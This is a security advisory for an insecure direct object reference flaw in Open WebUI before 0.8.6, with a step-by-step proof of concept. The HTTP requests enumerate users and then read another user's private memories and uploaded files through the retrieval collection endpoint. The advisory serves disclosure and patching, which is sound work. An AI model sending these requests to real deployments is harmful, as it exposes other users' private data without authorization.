Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories
Summary
Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection
Details
Vulnerability 1: Missing authorization in collection querying
In backend/open_webui/routers/retrieval.py, the query_collection_handler function accepts a list of collection_names but performs no ownership validation:
```python
async def query_collection_handler(
request: Request,
form_data: QueryCollectionsForm,
user=Depends(get_verified_user), # Only checks authentication, not authorization
):
`
Collection names follow predictable patterns:
- User files:
file-{FILE_UUID} - User memories:
user-memory-{USER_UUID}(requires Memory experimental feature)
PoC
Environment: Open WebUI v0.8.3, default configuration.
Setup:
1. Register two users: admin (first user) and attacker (second user).
2. As admin, upload a PDF document through chat.
3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.
Exploitation , Step 1: Enumerate all users
`
GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
`
Response reveals all users including admin's UUID, email, and role:
```json
{
"users": [
{
"id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
"name": "user",
"email": "user@test.com",
"role": "user"
},
{
"id":...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| open-webui PyPI | < 0.8.6 | 0.8.6 |
Details and references
### Summary Any authenticated user can read other users' private memories via `/api/v1/retrieval/query/collection` ### Details **Vulnerability 1: Missing authorization in collection querying** In `backend/open_webui/routers/retrieval.py`, the `query_collection_handler` function accepts a list of `collection_names` but performs no ownership validation: ```python async def query_collection_handler( request: Request, form_data: QueryCollectionsForm, user=Depends(get_verified_user), # Only checks authentication, not authorization ): ``` Collection names follow predictable patterns: - User files: `file-{FILE_UUID}` - User memories: `user-memory-{USER_UUID}` (requires Memory experimental feature) ### PoC **Environment:** Open WebUI v0.8.3, default configuration. **Setup:** 1. Register two users: admin (first user) and attacker (second user). 2. As admin, upload a PDF document through chat. 3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories. **Exploitation , Step 1: Enumerate all users** ``` GET /api/v1/users/search HTTP/1.1 Host: <target> Authorization: Bearer <attacker_token> ``` Response reveals all users including admin's UUID, email, and role: ```json { "users": [ { "id": "1e4756eb-b064-4781-8b06-4979bca59c8b", "name": "user", "email": "user@test.com", "role": "user" }, { "id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba", "name": "admin", "email": "admin@test.com", "role": "admin" } ] } ``` <img width="1340" height="731" alt="1poc - users" src="https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9" /> **Exploitation , Step 2: Read admin's memories** Using the admin UUID obtained in Step 1, query their private memory collection: ``` POST /api/v1/retrieval/query/collection HTTP/1.1 Host: <target> Authorization: Bearer <attacker_token> Content-Type: application/json { "collection_names": ["user-memory-<admin_UUID_from_step_1>"], "query": "test" } ``` Response returns admin's private memories: ```json { "documents": [["User is testing IDOR", "User - Mariusz, security researcher"]] } ``` <img width="1285" height="606" alt="2poc - memory" src="https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082" /> **Note:** Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration. **Exploitation , Step 3: Read admin's private file (Vulnerability 1)** File collections use the pattern `file-{FILE_UUID}`. The file UUID must be obtained separately. Once known: ``` POST /api/v1/retrieval/query/collection HTTP/1.1 Host: <target> Authorization: Bearer <attacker_token> Content-Type: application/json { "collection_names": ["file-<file_UUID>"], "query": "test" } ``` Response returns admin's private document content and full metadata: ```json { "documents": [["Test PDF \nabc \nbcd"]], "metadatas": [[{ "name": "Test PDF.pdf", "author": "Mariusz Maik", "created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba", "file_id": "243bee10-49ad-466f-884b-67b6b3d74968" }]] } ``` <img width="1413" height="908" alt="image" src="https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596" /> ### Impact - **Document theft:** Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins. - **User enumeration:** All user UUIDs, emails, names, and roles are exposed to any authenticated user via `/api/v1/users/search`. - **Memory leakage:** When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user , directly contradicting the official documentation. - **No admin privileges required:** A regular user account is sufficient to exploit all of the above. ### Suggested Fix **1. Add ownership validation in `/api/v1/retrieval/query/collection`:** ```python async d
- CVSS 3.1
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-639
- Also known as
- CVE-2026-29071, PYSEC-2026-2765